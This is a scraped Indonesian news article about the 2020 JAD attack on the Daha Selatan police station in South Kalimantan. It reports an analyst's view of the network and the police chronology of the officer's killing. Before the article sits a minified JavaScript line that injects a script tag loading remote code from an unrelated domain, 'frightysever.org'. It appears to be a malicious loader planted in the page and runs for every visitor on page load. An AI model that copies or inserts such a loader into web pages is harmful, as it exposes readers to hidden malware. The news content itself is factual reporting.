(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Mabes Polri mengungkap otak di balik penyerangan Mapolsek Daha Selatan, Hulu Sungai Selatan (HSS) oleh jaringan Jamaah Ansharut Daulah (JAD) Kalimantan Selatan (Kalsel). Lima terduga teroris sebelumnya diamankan Densus, usai aksi yang dilakukan Abdurrahaman (AR), pelaku yang tewas dalam serangan tersebut. Lalu, seperti apa jaringan JAD itu?
Pengamat terorisme Al Chaidar mengatakan kelompok JAD saat ini tergolong yang paling aktif dari sejumlah organisasi radikal di Indonesia. Ia memperkirakan, anggotanya mencapai ribuan orang tersebar di seluruh provinsi di Indonesia. “Kelompok yang berafiliasi dengan Islamic State in Iraq and Syria (ISIS) itu terus ingin menunjukkan eksistensinya,” ujarnya dalam sebuah wawancara dilansir Tagar, beberapa waktu lalu.
“Jumlah anggota JAD sudah sangat banyak di seluruh provinsi. Maka aksi-aksi teror yang terjadi di daerah-daerah, jangan sampai disepelekan atau dianggap sebagai hal yang remeh,” tegas Al Chaidar.
Secara umum anggota Jamaah Ansharut Daulah tersebut berusia 50 tahun ke bawah atau banyak yang berusia produktif. Sebelumnya malah anggota kelompok itu ada yang berasal dari kalangan mahasiswa. “Ada anggota JAD statusnya sebagai mahasiswa di salah satu universitas di Sumatera namun sudah lulus, maka statusnya sekarang bukan mahasiswa lagi,” tuturnya.
JAD adalah organisasi Islam yang secara de jure telah dibubarkan oleh Pengadilan Negeri Jakarta Selatan pada 2018. Akan tetapi, berkaca dari aksi teror di Mapolsek Daha Selatan, beberapa waktu lalu, pembubaran JAD serta penahanan sejumlah pemimpinnya terbukti tidak melumpuhkan aktivitas para anggotanya yang tersebar di penjuru negeri.
Sebelumnya, dalam keterangan resminya pada Senin (1/6/2020) siang lalu, Kabid Humas Polda Kalsel Kombes Pol Moch Rifa’i membeberkan kronologi penyerangan yang mengakibatkan satu personel bernama Brigadir Leonardo Latupapua (30) gugur.
Sekitar pukul 02.15 Wita Bripda M Azmi mendengar keributan di ruang SPKT, pada saat itu posisi Bripda M Azmi berada di ruangan unit reskrim. Kemudian mendatangi ke ruangan SPKT dan melihat keadaan Brigadir Leonardo Latupapua sudah mengalami luka bacok, kemudian Bripda M Azmi mendatangi Kanit Intel Brigadir Djoman Sahat Manik Raja untuk meminta pertolongan dan bersama sama mendatangi ruang SPKT.
“Kemudian AR (pelaku) tersebut mengejar kedua anggota yang mendatangi ruang SPKT tersebut dengan sajam jenis samurai yang sudah terhunus,” kata Kombes Rifa’i.
Lebih lanjut ia menjelaskan, anggota yang dikejar tersebut lari ke ruang Intel dan Binmas serta mengunci ruangan dari dalam sambil meminta bantuan menelpon ke Polres Hulu Sungai Selatan.
Selanjutnya, AR bersembunyi di ruangan unit Reskrim, hingga bantuan dari Polres HSS datang, pelaku tidak mau menyerah.
Sehingga aparat kepolisian mau tidak mau mengambil tindakan tegas dan terukur terhadap AR dengan memberikan tembakan, hingga akhirnya dinyatakan tewas saat dirujuk ke RSUD Hasan Basry Kandangan. (Kanalkalimantan.com/tim)
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.